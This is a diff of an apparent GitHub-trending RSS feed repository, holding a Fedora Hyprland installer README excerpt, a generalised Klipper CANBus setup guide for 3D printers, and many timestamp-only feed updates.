<li>by default it is installing the latest and newest nvidia drivers. If you have an older nvidia-gpu (GTX 800 series and older), check out nvidia-fedora website <a href="https://rpmfusion.org/Howto/NVIDIA#Installing_the_drivers"><code>LINK</code></a> and edit nvidia.sh in install-scripts folder to install proper gpu driver</li>
</ul>
<blockquote>
<p>[!IMPORTANT] If you want to use nouveau driver, choose N when asked if you have nvidia gpu. This is because the nvidia installer part, it will blacklist nouveau. Hyprland will still be installed but it will skip blacklisting nouveau.</p>
</blockquote>
<h4>โจ to run</h4>
<blockquote>
<p>clone this repo (latest commit only) to reduce file size download by using git. Change directory, make executable and run the script</p>
</blockquote>
<pre><code class="language-bash">git clone --depth=1 https://github.com/JaKooLit/Fedora-Hyprland.git
cd Fedora-Hyprland
chmod +x install.sh
./install.sh
</code></pre>
<p align="center"> <img align="center" width="100%" src="https://raw.githubusercontent.com/JaKooLit/Fedora-Hyprland/main/Fedora-Install.png"> </p>
<h4>โจ for ZSH and OH-MY-ZSH installation</h4>
<blockquote>
<p>installer should auto change your default shell to zsh. However, if it does not, do this</p>
</blockquote>
<pre><code class="language-bash">chsh -s $(which zsh)
zsh
source ~/.zshrc
</code></pre>
<ul>
<li>reboot or logout</li>
<li>by default agnoster theme is installed. You can find more themes from this <a href="https://github.com/ohmyzsh/ohmyzsh/wiki/Themes"><code>OH-MY-ZSH-THEMES</code></a></li>
<li>to change the theme, edit ~/.zshrc ZSH_THEME="desired theme"</li>
</ul>
<h4>โจ TO DO once installation done and dotfiles copied</h4>
<ul>
<li> <p><del>if you opted to install gtk themes, to apply the theme and icon, press the dark/light button (beside the padlock). To apply Bibata modern ice cursor, launch nwg-look (GTK Settings) through rofi.</del> Hyprland-Dots v2.1.18, initial boot file will attempt to apply GTK themes,cursor, and icons. You can tweak more using nwg-look (GTK-Settings) utility</p> </li>
<li> <p>SUPER H for HINT or click on the waybar HINT! Button</p> </li>
<li> <p>Head over to <a href="https://github.com/JaKooLit/Hyprland-Dots/wiki/FAQ">FAQ</a> and <a href="https://github.com/JaKooLit/Hyprland-Dots/wiki/TIPS">TIPS</a></p> </li>
</ul>
<h4>โจ Packages that are manually downloaded and build. These packages will not be updated by dnf and have to be manually updated</h4>
<ul>
<li>nwg-look <a href="https://github.com/nwg-piotr/nwg-look"><code>LINK</code></a></li>
<li>a.) to update this package, in your installation folder, you can move that folder (nwg-look) or download manually, cd into it, and ran git pull && sudo make install</li>
</ul>
<h4>๐ Got a questions regarding the Hyprland Dots or configurations? ๐</h4>
<ul>
<li>Head over to wiki Link <a href="https://github.com/JaKooLit/Hyprland-Dots/wiki"><code>WIKI</code></a></li>
</ul>
<h4>๐ ๐ Having issues or questions?</h4>
<ul>
<li>for the install part, kindly open issue on this repo</li>
<li>for the Pre-configured Hyprland dots / configuration, submit issue <a href="https://github.com/JaKooLit/Hyprland-Dots/issues"><code>here</code></a></li>
</ul>
<h4>๐ง Proper way to re-installing a particular script from install-scripts folder</h4>
<ul>
<li>CD into Fedora-Hyprland Folder and then ran the below command.</li>
<li>i.e. <code>./install-scripts/gtk-themes</code> - For reinstall GTK Themes.</li>
</ul>
<h4>๐ฃ๏ธ Roadmap:</h4>
<ul>
<li><del>[ ] Install zsh and oh-my-zsh without necessary steps above</del> DONE</li>
<li><input type="checkbox" disabled> possibly adding gruvbox themes, cursors, icons</li>
</ul>
<h4>โ some known issues</h4>
<ul>
<li>reports from members of my discord, states that some users of nvidia are getting stuck on sddm login. credit to @Kenni Fix stated was</li>
</ul>
<pre><code> while in sddm press ctrl+alt+F2 or F3
log into your account
`lspci -nn`, find the id of your nvidia card
`ls /dev/dri/by-path` find the matching id
`ls -l /dev/dri/by-path` to check where the symlink points to
)
7. add "env = WLR_DRM_DEVICES,/dev/dri/cardX" to the ENVvariables config (.config/hypr/configs/ENVariables.conf) ; X being where the symlink of the gpu points to
</code></pre>
<ul>
<li> <p>more info from the hyprland wiki <a href="https://wiki.hyprland.org/FAQ/#my-external-monitor-is-blank--doesnt-render--receives-no-signal-laptop"><code>Hyprland Wiki Link</code></a></p> </li>
<li> <p>Fedora Sway Specific - swaylock conflicts with swaylock-effects. Lock screen would be only white. If decided to remove swaylock in favor with swaylock-effects, sway will be removed. So care</p> </li>
</ul>
<h4>๐ Final Notes</h4>
<ul>
<li>join my discord channel <a href="https://discord.gg/V2SJ92vbEN"><code>Discord</code></a></li>
<li>Feel free to copy, re-distribute, and use this script however you want. Would appreciate if you give me some loves by crediting my work :)</li>
</ul>
<h4>๐๐๐ Thanks and Credits!</h4>
<ul>
<li><a href="https://hyprland.org/"><code>Hyprland</code></a> Of course to Hyprland and @vaxerski for this awesome Dynamic Tiling Manager.</li>
<li><a href="https://copr.fedorainfracloud.org/coprs/solopasha/hyprland/"><code>HYPRLAND COPR REPO</code></a> - a shout out to the one who created and maintaining Hyprland COPR Repo</li>
</ul>
<h3>๐ Support</h3>
<ul>
<li> <p>a Star on my Github repos would be nice ๐</p> </li>
<li> <p>Subscribe to my Youtube Channel <a href="https://www.youtube.com/@Ja.KooLit">YouTube</a></p> </li>
<li> <p>You can also buy me Coffee Through ko-fi.com or Coffee.com ๐คฉ</p> </li>
</ul>
<p><a href="https://ko-fi.com/jakoolit" target="_blank"><img height="35" style="border:0px;height:46px;" src="https://az743702.vo.msecnd.net/cdn/kofi3.png?v=0" border="0" alt="Buy Me a Coffee at ko-fi.com"></a></p>
<a href="https://ko-fi.com/jakoolit" target="_blank"> </a>
<p><a href="https://ko-fi.com/jakoolit" target="_blank"></a><a href="https://www.buymeacoffee.com/JaKooLit"><img src="https://www.buymeacoffee.com/assets/img/custom_images/orange_img.png" alt=""Buy Me A Coffee""></a></p>
<h4>๐น ๐น Youtube videos (Click to view and watch the playlist)</h4>
<p><a href="https://youtube.com/playlist?list=PLDtGd5Fw5_GjXCznR0BzCJJDIQSZJRbxx&si=iaNjLulFdsZ6AV-t"><img src="https://raw.githubusercontent.com/JaKooLit/screenshots/main/Youtube.png" alt="Youtube Playlist Thumbnail"></a></p>
-
-
- Esoterical/voron_canbus
- 2024-01-03T01:37:43Z
- tag:github.com,2024-01-03:/Esoterical/voron_canbus
-
- <p></p><hr><p>Before we start a big thanks has to go to the #mcu_toolhead_boards thread on the Voron discord. A wealth of information from some very clever people. If you have any of the following combinations of hardware, please look at these existing specific guides:</p>
<p>Octopus (in CAN bridge mode) and SB2040: <a href="https://github.com/akhamar/voron_canbus_octopus_sb2040">https://github.com/akhamar/voron_canbus_octopus_sb2040</a> by @MastahFR</p>
<p>BTT U2C and EBB36: <a href="https://github.com/EricZimmerman/VoronTools/raw/main/EBB_CAN.md">https://github.com/EricZimmerman/VoronTools/blob/main/EBB_CAN.md</a> by @EricZimmerman</p>
<p>SKR Pico in can bridge mode: <a href="https://github.com/eschlenz/3D-Printing-Public/raw/main/skr_pico_canboot_canbus.md">https://github.com/eschlenz/3D-Printing-Public/blob/main/skr_pico_canboot_canbus.md</a> by @eschlenz</p>
<p>and many others.</p>
<h2>Generalised CANBus guide</h2>
<p>So you want to use Canbus on your printer? There are plenty of guides around but usually they are guides on a specific hardware configuration. This guide hopes to generalise some of the steps to help anyone get started on their CAN journey with a printer.</p>
<p>Note: This will be generally structured around Voron printers and common hardware for a Voron printer, but you can take the information to any Klipper-based printer as long as you either use the same electronics (mainboard/canboard) or use this guide to adapt to your specific electronics (if they are supported).</p>
<p>So let's get started.</p>
<h1>Basic Structure of a 3d Printer CANBus</h1>
<p>In all likelyhood you are looking to hook up a single CAN toolhead board to your printer to minimise wiring from mainboard to toolhead, so that is the setup we'll be focusing on. In order to achieve a functioning CAN network on your printer you need 3 things: A computer running the main Klipper software (usually a Raspberry Pi, but anything with a USB port will work for this guide), a CAN network adapter (either a standalone USB device or running a compatible mainboard in klipper's usb-can bridge mode) and a CAN node (the toolhead device). This is also the order in which you need to set things up. No point setting everything up on the toolhead CAN board if you don't have a way for the Pi to talk to it. We are going to assume you have a functioning Pi (or equivelant) running linux and already have Klippper, Moonraker, some sort of GUI (Fluidd/Mainsail/Octoprint), and you have the ability to SSH into it.</p>
<h1>Regarding Katapult (formerly known as CanBoot)</h1>
<p>You may have seen other guides have installing Katapult/CanBOOT onto devices as a first step. Katapult is a custom firmware and allows flashing of Klipper to the devices via the CAN network so you don't have to plug a USB cable in each time to flash/update klipper. Katapult is really handy but it is <em><strong>NOT</strong></em> mandatory. This will be discussed later, but Klipper will happily run over a CAN network with or without Katapult.</p>
<h1>can0 file, CAN Speeds, and Transmit Queue Length</h1>
<p>This step usually comes later, but as it is common across all different variants we may as well get it done first. In order to dictate the speed at which your CAN network runs at you will need to create (or modify) a "can0" file on your Pi. This is what will tell linux "Hey, you now have a new network interface called can0 that you can send CAN traffic over". The approach needed here heavily depends on the network stack of your Pi. Raspbian and older version of Debian typically use ifupdown, but newer versions of non-raspbian Debian use netplan, which by default uses systemd-networkd under the hood.</p>
<p>To test if your system uses networkd, try running <code>networkctl</code>. If the command is not available, gives an error or no link output, you're probably still using ifupdown. If it does give you meaningful output (typically at least an <code>ether</code> and <code>wlan</code> link), you're using systemd-networkd. To be safe it's easiest to just follow both the "ifupdown" <strong>and</strong> the "systemd-networkd" instructions. You can have both set up and your Pi will just use the configuration that is relevant to your system.</p>
<p>To set everything up, SSH into your pi and run the commands needed for your network setup:</p>
<h2>ifupdown</h2>
<pre><code>sudo nano /etc/network/interfaces.d/can0
</code></pre>
<p><img src="https://user-images.githubusercontent.com/124253477/221327674-fad20589-1a5b-4d68-b2d9-2596553f64ab.png" alt="image"></p>
<p>This will open (or create if it doesn't exist) a file called 'can0' in which you need to enter the following information:</p>
<pre><code>allow-hotplug can0
iface can0 can static
bitrate 1000000
up ip link set can0 txqueuelen 1024
</code></pre>
<p><img src="https://user-images.githubusercontent.com/124253477/221378593-9a0fcdb5-082c-454e-94bd-08a6dc449d34.png" alt="image"></p>
<p>Press Ctrl+X to save the can0 file.</p>
<p>The "allow-hotplug" helps the CAN nodes come back online when doing a "firmware_restart" within Klipper. "bitrate" dictates the speed at which your CAN network runs at. Kevin O'Connor (of Klipper fame) recommends a 1M speed for this to help with high-bandwidth and timing-critical operations (ADXL Shaper calibration and mesh probing for example). To complement a high bitrate, setting a high transmit queue length "txqueuelen" of 1024 helps minimise "Timer too close" errors.</p>
<p>Once the can0 file is created just reboot the Pi with a <code>sudo reboot</code> and move on to the next step.</p>
<h2>systemd-networkd (netplan)</h2>
<pre><code>sudo nano /etc/systemd/network/10-can.link
</code></pre>
<p>This will open (or create if it doesn't exist) a file called <code>10-can.link</code> in which you need to enter the following information:</p>
<pre><code>[Match]
Type=can
[Link]
TransmitQueueLength=1024
</code></pre>
<p>Press Ctrl+X to save the file.</p>
<p>To set the bitrate, we need to create another file in the same directory:</p>
<pre><code>sudo nano /etc/systemd/network/25-can.network
</code></pre>
<p>This creates a network file, that networkd will then use to automatically set up the network with. Because of how networkd works, "hotplugging" is baked in. Enter the following in the network-file and close it with Ctrl+X:</p>
<pre><code>[Match]
Name=can*
[CAN]
BitRate=1M
</code></pre>
<h1>Your main CAN network adapter</h1>
<p>To actually create a CAN network in your system, your Pi needs some sort of device to act as a CAN adapter (think of it like a USB network card, or USB wifi dongle). The simplest plug-and-play option is to use a dedicated USB to Can device such as the BigTreeTech U2C, Mellow Fly UTOC, Fysetc UCAN, etc. (other devices exist as well). The second "cheaper" option is to actually utilise your printer mainboard (ie. Octopus or Spider board) to function as a usb-can bridge for klipper. We'll cover both options, but you only need to choose one.</p>
<h1>Dedicated USB CAN device</h1>
<p><strong>IF YOU HAVE A BTT U2C V2.1 THEN PLEASE FLASH IT WITH THE LATEST VERSION OF V2 FIRMWARE FROM THE GITHUB AS THE SHIPPED FIRMWARE MAY HAVE BUGS <a href="https://github.com/Esoterical/voron_canbus/tree/main/can_adapter/BigTreeTech%20U2C%20v2.1">https://github.com/Esoterical/voron_canbus/tree/main/can_adapter/BigTreeTech%20U2C%20v2.1</a></strong></p>
<p>If you want to use a dedicated USB CAN devcice, then it should be as simple as plugging it in to your Pi via USB. <em><strong>You shouldn't have to flash anything to this U2C/UTOC/etc device first, they are meant to come pre-installed with the necessary firmware. They do NOT run Klipper</strong></em>. You can test if it is working by running an <code>lsusb</code> command (from an SSH terminal to your pi). Most common USB CAN devices will show up as a "Geschwister Schneider CAN adapter" when they are working properly (though some may simply show as an "OpenMoko, Inc" device):</p>
<p><img src="https://user-images.githubusercontent.com/124253477/221329262-d8758abd-62cb-4bb6-9b4f-7bc0f615b5de.png" alt="image"></p>
<p><img src="https://user-images.githubusercontent.com/124253477/222042688-10fa6fdb-8c0a-4142-8c40-0d93ef4fc4bd.png" alt="image"></p>
<p>A better check is by running an 'interface config' command <code>ifconfig</code>. If the USB CAN device is up and happy (and you have created the can0 file above) then you will see a can0 interface:</p>
<p><img src="https://user-images.githubusercontent.com/124253477/221329326-efa1437e-839d-4a6b-9648-89412791b819.png" alt="image"></p>
<p><strong>A note on edge cases</strong></p>
<p>If you plug in your USB CAN adapter and you <em>don't</em> see the expected results from an <code>lsusb</code> or <code>ifconfig</code>, then the firmware on your device may have issues. If this is the case then it's worth going to the Github page of your device as they usually have the stock firmware and flashing instructions there.</p>
<p><strong>A note on the note</strong></p>
<p>The BTT U2C V2.1 was released with bad firmware which although would show up to the above tests it would make issues show up down the line. If you have a v2.1 of the U2C then please follow the instructions here: <a href="https://github.com/Esoterical/voron_canbus/tree/main/can_adapter/BigTreeTech%20U2C%20v2.1">https://github.com/Esoterical/voron_canbus/tree/main/can_adapter/BigTreeTech%20U2C%20v2.1</a></p>
<h1>Klipper USB to CAN bus bridge</h1>
<p>The second way of setting up a CAN network is to use the printer mainboard itself as a CAN adapter.</p>
<p><strong>If you are using a dedicated CAN adapter as above then you don't need this step. Your mainboard will be flashed the same as any other "normal" klipper install</strong></p>
<p>This is acheived through Klippers "USB-CAN-Bridge mode". In order for this to work you need to have a compatible MCU on the mainboard (A lot of the popular STM32 chips works, as well as the RP2040), and either a dedicated "CAN" port on the motherboard or at least a way of accessing the CAN pins that you configure for klipper.</p>
<p>Some mainboards (like the BTT Octopus) have a CAN Transceiver built in so they will output CAN signals directly from a dedicated port (the Octopus has an RJ11 port for this purpose). Other compatible boards may have a port on their board labelled as CAN but only output serial (Tx Rx) signals. These boards can still be run as USB-CAN-Bridge mode but will require an additional CAN Transceiver module (such as the SN65HVD230). These can be cheaply purchased from Amazon or eBay or AliExpress. Other boards may yet not have any dedicated CAN port, but still have a compatible MCU and have compatible CAN pins that you can access (the SKR Mini E3 V3 can be run in USB-CAN-Bridge mode if you use the PB8/PB9 pins on the EXP1 header that is normally used for an LCD screen).</p>
<p>More specific instructions refer to <a href="https://github.com/Esoterical/voron_canbus/tree/main/mainboard_flashing">https://github.com/Esoterical/voron_canbus/tree/main/mainboard_flashing</a></p>
<p>Once you have klipper firmware flashed to your mainboard, with the USB-CAN-Bridge mode enabled, it should show up to your Pi as a "Geschwister Schneider CAN adapter" if you run an <code>lsusb</code></p>
<p><img src="https://user-images.githubusercontent.com/124253477/221329262-d8758abd-62cb-4bb6-9b4f-7bc0f615b5de.png" alt="image"></p>
<p>If you run an <code>ifconfig</code> command you should also see a can0 interface.</p>
<p><img src="https://user-images.githubusercontent.com/124253477/221329326-efa1437e-839d-4a6b-9648-89412791b819.png" alt="image"></p>
<p>The takeaway is that if you go down the mainboard USB-CAN-Bridge route, then you <em>need</em> to have klipper firmware flashed to the mainboard before attempting any further CAN installs/troubleshooting.</p>
<h1>CAN on a toolhead</h1>
<p>One you have a functioning CAN network on your printer, you can proceed to flashing klipper to your toolhead of choice. Refer to <a href="https://github.com/Esoterical/voron_canbus/tree/main/toolhead_flashing">https://github.com/Esoterical/voron_canbus/tree/main/toolhead_flashing</a> for more information on how to flash the toolhead.</p>
<p>To wire up your toolhead refer to manufacturer guides but the overall process is hooking up 24v and Gnd back to your 24v PSU, and then connecting CANH and CANL to the CANH and CANL of your CAN adapter (either dedicated USB Can devcie, or a USB-CAN-Bridge mainboard). CANH goes to CANH, CANL goes to CANL.</p>
<p>Once you have klipper installed on your toolhead, and it is all wired up correctly, you can run a canbus query command:</p>
<p><code>~/klippy-env/bin/python ~/klipper/scripts/canbus_query.py can0</code></p>
<p>which should show a can UUID for each CAN device (a USB-CAN-Bridge mode mainboard will show as a CAN device) as well as the unique ID of the device:</p>
<p><img src="https://user-images.githubusercontent.com/124253477/221332914-c612d996-f9c3-444d-aa41-22b8eda96eba.png" alt="image"></p>
<p>You will then use this uuid in your printer.cfg for the [mcu] section of your device</p>
<p><img src="https://user-images.githubusercontent.com/124253477/221332943-57a65a4e-f3ab-484c-8ac5-a2b35366e34f.png" alt="image"></p>
<p>(This is my Spider mainboard running in USB-CAN-Bridge mode, and my EBB36 toolhead)</p>
<h1>Configuration</h1>
<p>If you have completed the above and have the canbus uuid of your CAN device in your printer.cfg, then everything else is just a case of setting up the required pins with the toolhead MCU name prefixed to the pin name. See <a href="https://www.klipper3d.org/Config_Reference.html#mcu-my_extra_mcu">https://www.klipper3d.org/Config_Reference.html#mcu-my_extra_mcu</a> for information. Most toolheads will have a sample.cfg on their github, so it's usually a simple case of copy-pasting the required information from the sample into your own printer.cfg.</p>
-
\ No newline at end of file
diff --git a/shellcheck-config/daily/index.xml b/shellcheck-config/daily/index.xml
index 8003feeb98b..f3b1dab935e 100644
--- a/shellcheck-config/daily/index.xml
+++ b/shellcheck-config/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ShellCheck Config Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:37:39Z
+ 2024-01-04T01:38:36ZDaily Trending of ShellCheck Config in GitHub
\ No newline at end of file
diff --git a/shellsession/daily/index.xml b/shellsession/daily/index.xml
index 12f36a9e2ca..eb29ba7e745 100644
--- a/shellsession/daily/index.xml
+++ b/shellsession/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ShellSession Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:37:57Z
+ 2024-01-04T01:38:56ZDaily Trending of ShellSession in GitHub
\ No newline at end of file
diff --git a/shen/daily/index.xml b/shen/daily/index.xml
index 69b2c11d58d..6ff76ff46bc 100644
--- a/shen/daily/index.xml
+++ b/shen/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Shen Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:37:56Z
+ 2024-01-04T01:38:58ZDaily Trending of Shen in GitHub
\ No newline at end of file
diff --git a/sieve/daily/index.xml b/sieve/daily/index.xml
index 137a1591745..db73ec7cc43 100644
--- a/sieve/daily/index.xml
+++ b/sieve/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Sieve Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:37:58Z
+ 2024-01-04T01:38:59ZDaily Trending of Sieve in GitHub
\ No newline at end of file
diff --git a/singularity/daily/index.xml b/singularity/daily/index.xml
index 8a0df15121f..3b431a996ab 100644
--- a/singularity/daily/index.xml
+++ b/singularity/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Singularity Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:38:00Z
+ 2024-01-04T01:39:03ZDaily Trending of Singularity in GitHub
\ No newline at end of file
diff --git a/slash/daily/index.xml b/slash/daily/index.xml
index e61998ed20f..059e1be669d 100644
--- a/slash/daily/index.xml
+++ b/slash/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Slash Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:37:59Z
+ 2024-01-04T01:39:00ZDaily Trending of Slash in GitHub
\ No newline at end of file
diff --git a/slice/daily/index.xml b/slice/daily/index.xml
index 7e44b72067b..e06294e69ec 100644
--- a/slice/daily/index.xml
+++ b/slice/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Slice Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:38:00Z
+ 2024-01-04T01:39:02ZDaily Trending of Slice in GitHub
\ No newline at end of file
diff --git a/slim/daily/index.xml b/slim/daily/index.xml
index e4464a80795..fe1a9828fc1 100644
--- a/slim/daily/index.xml
+++ b/slim/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Slim Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:38:01Z
+ 2024-01-04T01:39:01ZDaily Trending of Slim in GitHub
\ No newline at end of file
diff --git a/smali/daily/index.xml b/smali/daily/index.xml
index 2531346a8c4..78541d47605 100644
--- a/smali/daily/index.xml
+++ b/smali/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Smali Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:38:03Z
+ 2024-01-04T01:39:04ZDaily Trending of Smali in GitHub
\ No newline at end of file
diff --git a/smalltalk/daily/index.xml b/smalltalk/daily/index.xml
index 7e168abdead..5e20d7e8902 100644
--- a/smalltalk/daily/index.xml
+++ b/smalltalk/daily/index.xml
@@ -1,7 +1,14 @@
GitHub Smalltalk Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:38:05Z
+ 2024-01-04T01:39:08ZDaily Trending of Smalltalk in GitHub
+
+ SimonCropp/NaughtyStrings
+ 2024-01-04T01:39:08Z
+ tag:github.com,2024-01-04:/SimonCropp/NaughtyStrings
+
+ <p>Provides a strong typed .NET API for the Big List of Naughty Strings https://github.com/minimaxir/big-list-of-naughty-strings</p><hr>
+
\ No newline at end of file
diff --git a/smarty/daily/index.xml b/smarty/daily/index.xml
index 0a167f7bb4b..6d32cfca8b0 100644
--- a/smarty/daily/index.xml
+++ b/smarty/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Smarty Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:38:06Z
+ 2024-01-04T01:39:06ZDaily Trending of Smarty in GitHub
\ No newline at end of file
diff --git a/smpl/daily/index.xml b/smpl/daily/index.xml
index 5113fbcb464..2dceac9a182 100644
--- a/smpl/daily/index.xml
+++ b/smpl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub SmPL Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:38:07Z
+ 2024-01-04T01:39:09ZDaily Trending of SmPL in GitHub
\ No newline at end of file
diff --git a/smt/daily/index.xml b/smt/daily/index.xml
index 38f6672b130..3bd03ec3b58 100644
--- a/smt/daily/index.xml
+++ b/smt/daily/index.xml
@@ -1,7 +1,7 @@
GitHub SMT Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:38:09Z
+ 2024-01-04T01:39:10ZDaily Trending of SMT in GitHub
\ No newline at end of file
diff --git a/solidity/daily/index.xml b/solidity/daily/index.xml
index ce4729c560c..f90c6a10bd0 100644
--- a/solidity/daily/index.xml
+++ b/solidity/daily/index.xml
@@ -1,14 +1,21 @@
GitHub Solidity Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:38:11Z
+ 2024-01-04T01:39:13ZDaily Trending of Solidity in GitHub
- RigoBlock/v3-contracts
- 2024-01-03T01:38:11Z
- tag:github.com,2024-01-03:/RigoBlock/v3-contracts
-
- <p>Smart contracts of RigoBlock v3</p><hr>
+ sherlock-audit/2023-12-ubiquity
+ 2024-01-04T01:39:13Z
+ tag:github.com,2024-01-04:/sherlock-audit/2023-12-ubiquity
+
+ <p></p><hr>
+
+
+ Cyfrin/5-t-swap-audit
+ 2024-01-04T01:39:13Z
+ tag:github.com,2024-01-04:/Cyfrin/5-t-swap-audit
+
+ <p></p><hr>
\ No newline at end of file
diff --git a/soong/daily/index.xml b/soong/daily/index.xml
index 35a2a61d644..7ae3c43df92 100644
--- a/soong/daily/index.xml
+++ b/soong/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Soong Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:38:12Z
+ 2024-01-04T01:39:15ZDaily Trending of Soong in GitHub
\ No newline at end of file
diff --git a/sourcepawn/daily/index.xml b/sourcepawn/daily/index.xml
index 5b9a1071ba4..3515ebf612b 100644
--- a/sourcepawn/daily/index.xml
+++ b/sourcepawn/daily/index.xml
@@ -1,14 +1,7 @@
GitHub SourcePawn Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:38:14Z
+ 2024-01-04T01:39:16ZDaily Trending of SourcePawn in GitHub
-
- himenekocn/L4D2-Fix-Net-Pack-Attack
- 2024-01-03T01:38:14Z
- tag:github.com,2024-01-03:/himenekocn/L4D2-Fix-Net-Pack-Attack
-
- <p>Fix NetPack DOS Attack | ไฟฎๅคๅฐๅญ่็ฝ็ปๅ ๆๅก็ซฏๆปๅป</p><hr>
-
\ No newline at end of file
diff --git a/sparql/daily/index.xml b/sparql/daily/index.xml
index e2bb1c14a70..8130c19dd7e 100644
--- a/sparql/daily/index.xml
+++ b/sparql/daily/index.xml
@@ -1,7 +1,7 @@
GitHub SPARQL Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:38:15Z
+ 2024-01-04T01:39:14ZDaily Trending of SPARQL in GitHub
\ No newline at end of file
diff --git a/spline-font-database/daily/index.xml b/spline-font-database/daily/index.xml
index 8388bc15376..a1caa01ecd9 100644
--- a/spline-font-database/daily/index.xml
+++ b/spline-font-database/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Spline Font Database Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:38:13Z
+ 2024-01-04T01:39:14ZDaily Trending of Spline Font Database in GitHub
\ No newline at end of file
diff --git a/sqf/daily/index.xml b/sqf/daily/index.xml
index fe54b433398..ee8a14f8995 100644
--- a/sqf/daily/index.xml
+++ b/sqf/daily/index.xml
@@ -1,7 +1,7 @@
GitHub SQF Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:38:18Z
+ 2024-01-04T01:39:17ZDaily Trending of SQF in GitHub
\ No newline at end of file
diff --git a/sql/daily/index.xml b/sql/daily/index.xml
index 63037a6ecf0..8d0636d2107 100644
--- a/sql/daily/index.xml
+++ b/sql/daily/index.xml
@@ -1,7 +1,7 @@
GitHub SQL Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:38:17Z
+ 2024-01-04T01:39:18ZDaily Trending of SQL in GitHub
\ No newline at end of file
diff --git a/sqlpl/daily/index.xml b/sqlpl/daily/index.xml
index 83a0d3e6a51..66c597438cc 100644
--- a/sqlpl/daily/index.xml
+++ b/sqlpl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub SQLPL Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:38:18Z
+ 2024-01-04T01:39:18ZDaily Trending of SQLPL in GitHub
\ No newline at end of file
diff --git a/squirrel/daily/index.xml b/squirrel/daily/index.xml
index 849c1eec768..e90330d167a 100644
--- a/squirrel/daily/index.xml
+++ b/squirrel/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Squirrel Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:38:16Z
+ 2024-01-04T01:39:19ZDaily Trending of Squirrel in GitHub
\ No newline at end of file
diff --git a/srecode-template/daily/index.xml b/srecode-template/daily/index.xml
index c65f2f1c4a3..83cae350923 100644
--- a/srecode-template/daily/index.xml
+++ b/srecode-template/daily/index.xml
@@ -1,7 +1,7 @@
GitHub SRecode Template Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:38:19Z
+ 2024-01-04T01:39:20ZDaily Trending of SRecode Template in GitHub
\ No newline at end of file
diff --git a/ssh-config/daily/index.xml b/ssh-config/daily/index.xml
index 5352c9d213d..dc14fcfafa2 100644
--- a/ssh-config/daily/index.xml
+++ b/ssh-config/daily/index.xml
@@ -1,7 +1,7 @@
GitHub SSH Config Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:38:20Z
+ 2024-01-04T01:39:22ZDaily Trending of SSH Config in GitHub
\ No newline at end of file
diff --git a/stan/daily/index.xml b/stan/daily/index.xml
index 840385fe1d2..2431250a998 100644
--- a/stan/daily/index.xml
+++ b/stan/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Stan Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:38:21Z
+ 2024-01-04T01:39:22ZDaily Trending of Stan in GitHub
\ No newline at end of file
diff --git a/standard-ml/daily/index.xml b/standard-ml/daily/index.xml
index 8bfe79f9c08..6c211cd8ab6 100644
--- a/standard-ml/daily/index.xml
+++ b/standard-ml/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Standard ML Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:38:22Z
+ 2024-01-04T01:39:21ZDaily Trending of Standard ML in GitHub
\ No newline at end of file
diff --git a/starlark/daily/index.xml b/starlark/daily/index.xml
index 4f99df80562..17eeb8f211f 100644
--- a/starlark/daily/index.xml
+++ b/starlark/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Starlark Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:38:26Z
+ 2024-01-04T01:39:27ZDaily Trending of Starlark in GitHub
\ No newline at end of file
diff --git a/stata/daily/index.xml b/stata/daily/index.xml
index f583a6851de..5f5038d5a8b 100644
--- a/stata/daily/index.xml
+++ b/stata/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Stata Daily Trendinghttp://mshibanami.github.io/GitHubTrendingRSS
- 2024-01-03T01:38:24Z
